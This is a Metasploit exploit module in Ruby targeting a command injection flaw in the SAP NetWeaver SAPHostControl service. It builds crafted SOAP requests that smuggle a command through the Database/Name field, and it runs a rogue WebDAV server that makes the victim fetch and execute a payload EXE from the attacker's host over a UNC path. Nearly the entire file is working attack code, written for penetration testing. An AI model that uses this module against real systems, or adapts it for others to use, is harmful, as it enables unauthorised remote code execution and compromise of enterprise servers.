##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE
	def initialize
		super(
			'Name'        	=> 'SAP NetWeaver HostControl Command Injection',
			'Description'   => %q{
					This module exploits a command injection vulnerability in the SAPHostControl
				Service, by sending a specially crafted SOAP request to the management console.
				In order to deal with the spaces and length limitations, a WebDAV service is
				created to run an arbitrary payload when accessed as a UNC path. Because of this,
				the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.
				It is enabled and automatically started by default on Windows XP SP3, but disabled
				by default on Windows 2003 SP2.
			},
			'Author'      => [
				'Michael Jordon', # Vulnerability discovery and PoC
				'juan vazquez' # Metasploit module
			],
			'Platform'    => 'win',
			'References'  =>
				[
					[ 'OSVDB', '84821'],
					[ 'URL', 'http://www.contextis.com/research/blog/sap4/' ],
					[ 'URL', 'https://websmp130.sap-ag.de/sap/support/notes/1341333' ] # Authentication Required
				],
			'Targets'     =>
				[
					[ 'SAP NetWeaver 7.02 SP6 / Windows with WebClient enabled', { } ],
				],
			'DefaultTarget'  => 0,
			'Privileged'     => true,
			'DisclosureDate' => 'Aug 14 2012'
		)
		register_options(
			[
				Opt::RPORT(1128),
				OptString.new('URIPATH',   [ true, "The URI to use (do not change)", "/" ]),
				OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
			], self.class)
	end
	def autofilter
		false
	end
	def check_dependencies
		use_zlib
	end
	def on_request_uri(cli, request)
		case request.method
			when 'OPTIONS'
				process_options(cli, request)
			when 'PROPFIND'
				process_propfind(cli, request)
			when 'GET'
				process_get(cli, request)
			else
				vprint_status("#{request.method} => 404 (#{request.uri})")
				resp = create_response(404, "Not Found")
				resp.body = ""
				resp['Content-Type'] = 'text/html'
				cli.send_response(resp)
		end
	end
	def process_get(cli, request)
		if blacklisted_path?(request.uri)
			vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
			resp = create_response(404, "Not Found")
			resp.body = ""
			cli.send_response(resp)
			return
		end
		if (request.uri.include? @basename)
			print_status("GET => Payload")
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end
		# Treat index.html specially
		if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
			vprint_status("GET => REDIRECT (#{request.uri})")
			resp = create_response(200, "OK")
			resp.body = %Q|
|
			resp['Content-Type'] = 'text/html'
			cli.send_response(resp)
			return
		end
		# Anything else is probably a request for a data file...
		vprint_status("GET => DATA (#{request.uri})")
		data = "HELLO!"
		send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
	end
	#
	# OPTIONS requests sent by the WebDav Mini-Redirector
	#
	def process_options(cli, request)
		vprint_status("OPTIONS #{request.uri}")
		headers = {
			'MS-Author-Via' => 'DAV',
			'DASL'          => '',
			'DAV'           => '1, 2',
			'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
			'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
			'Cache-Control' => 'private'
		}
		resp = create_response(207, "Multi-Status")
		headers.each_pair {|k,v| resp[k] = v }
		resp.body = ""
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end
	#
	# PROPFIND requests sent by the WebDav Mini-Redirector
	#
	def process_propfind(cli, request)
		path = request.uri
		vprint_status("PROPFIND #{path}")
		if path !~ /\/$/
			if blacklisted_path?(path)
				vprint_status "PROPFIND => 404 (#{path})"
				resp = create_response(404, "Not Found")
				resp.body = ""
				cli.send_response(resp)
				return
			end
			if path.index(".")
				vprint_status "PROPFIND => 207 File (#{path})"
				body = %Q|
#{path}
#{gen_datestamp}
#{rand(0x100000)+128000}
#{gen_timestamp}
"#{"%.16x" % rand(0x100000000)}"
T
application/octet-stream
HTTP/1.1 200 OK
|
				# send the response
				resp = create_response(207, "Multi-Status")
				resp.body = body
				resp['Content-Type'] = 'text/xml; charset="utf8"'
				cli.send_response(resp)
				return
			else
				vprint_status "PROPFIND => 301 (#{path})"
				resp = create_response(301, "Moved")
				resp["Location"] = path + "/"
				resp['Content-Type'] = 'text/html'
				cli.send_response(resp)
				return
			end
		end
		vprint_status "PROPFIND => 207 Directory (#{path})"
		body = %Q|
	
		#{path}
		
			
				
				#{gen_datestamp}
				#{gen_timestamp}
				"#{"%.16x" % rand(0x100000000)}"
				
					
						
						
					
					
						
						
					
				
				
				httpd/unix-directory
			
		HTTP/1.1 200 OK
	
|
		if request["Depth"].to_i > 0
			trail = path.split("/")
			trail.shift
			case trail.length
				when 0
					body << generate_shares(path)
				when 1
					body << generate_files(path)
			end
		else
			vprint_status "PROPFIND => 207 Top-Level Directory"
		end
		body << ""
		body.gsub!(/\t/, '')
		# send the response
		resp = create_response(207, "Multi-Status")
		resp.body = body
		resp['Content-Type'] = 'text/xml; charset="utf8"'
		cli.send_response(resp)
	end
	def generate_shares(path)
		share_name = @share_name
		%Q|
#{path}#{share_name}/
#{gen_datestamp}
#{gen_timestamp}
"#{"%.16x" % rand(0x100000000)}"
httpd/unix-directory
HTTP/1.1 200 OK
|
	end
	def generate_files(path)
		trail = path.split("/")
		return "" if trail.length < 2
		base  = @basename
		exts  = @extensions.gsub(",", " ").split(/\s+/)
		files = ""
		exts.each do |ext|
			files << %Q|
#{path}#{base}.#{ext}
#{gen_datestamp}
#{rand(0x10000)+120}
#{gen_timestamp}
"#{"%.16x" % rand(0x100000000)}"
T
application/octet-stream
HTTP/1.1 200 OK
1
|
		end
		files
	end
	def gen_timestamp(ttype=nil)
		::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
	end
	def gen_datestamp(ttype=nil)
		::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
	end
	# This method rejects requests that are known to break exploitation
	def blacklisted_path?(uri)
		share_path = "/#{@share_name}"
		payload_path = "#{share_path}/#{@basename}.exe"
		case uri
			when payload_path
				return false
			when share_path
				return false
			else
				return true
		end
	end
	def check
		@peer = "#{rhost}:#{rport}"
		soap = <<-eos
	
		
			true
		
	
	
		
			
				- 
					Database/Type
					ada
				
 
				- 
					Database/Password
					#{rand_text_alphanumeric(8)}
				
 
				- 
					Database/Username
					control
				
 
				- 
					Database/Name
					NSP \-o c:\\#{rand_text_alpha_lower(4)}.txt \-n #{rand_text_alpha_lower(8)}
!#{rand_text_alpha_lower(8)}
				
 
			
		
	
		eos
		print_status("#{@peer} - Testing command injection...")
		res = send_request_cgi({
			'uri'          => '/',
			'method'       => 'POST',
			'ctype'        => 'text/xml; charset=utf-8',
			'headers'	   => {
				'SOAPAction' => "\"\"",
			},
			'data'         => soap,
		}, 10)
		if (res and res.code == 500 and res.body =~ /Generic error/)
			return CheckCode::Appears
		else
			return CheckCode::Safe
		end
	end
	def exploit
		@basename = rand_text_alpha(3)
		@share_name = rand_text_alpha(3)
		@extensions = "exe"
		@system_commands_file = rand_text_alpha_lower(4)
		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
		@exploit_unc  = "\\\\#{myhost}\\"
		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
			fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
		end
		vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")
		@peer = "#{rhost}:#{rport}"
		soap = <<-eos
	
		
			true
		
	
	
		
			
				- 
					Database/Type
					ada
				
 
				- 
					Database/Password
					#{rand_text_alphanumeric(8)}
				
 
				- 
					Database/Username
					control
				
 
				- 
					Database/Name
					NSP \-o c:\\#{@system_commands_file}.txt \-n #{rand_text_alpha_lower(8)}
!#{@exploit_unc}#{@share_name}\\#{@basename}.exe
				
 
			
		
	
		eos
		print_status("#{@peer} - Injecting system commands...")
		res = send_request_cgi({
			'uri'          => '/',
			'method'       => 'POST',
			'ctype'        => 'text/xml; charset=utf-8',
			'headers'	   => {
				'SOAPAction'     => "\"\"",
			},
			'data'         => soap,
		}, 10)
		if (res and res.code == 500 and res.body =~ /Generic error/)
			print_good("#{@peer} - System command successfully injected")
		else
			print_error("#{@peer} - Failed to inject system command")
			return
		end
		soap = <<-eos
	
		
			true
		
	
	
		
			
				- 
					Database/Type
					ada
				
 
				- 
					Database/Password
					#{rand_text_alphanumeric(8)}
				
 
				- 
					Database/Username
					control
				
 
				- 
					Database/Name
					NSP \-ic c:\\#{@system_commands_file}.txt
				
 
			
		
	
		eos
		print_status("#{@peer} - Executing injected command")
		res = send_request_cgi({
			'uri'          => '/',
			'method'       => 'POST',
			'ctype'        => 'text/xml; charset=utf-8',
			'headers'	   => {
				'SOAPAction'     => "\"\"",
			},
			'data'         => soap,
		}, 1)
		if res
			print_error("#{@peer} - Failed to execute injected command")
			return
		end
		super
	end
end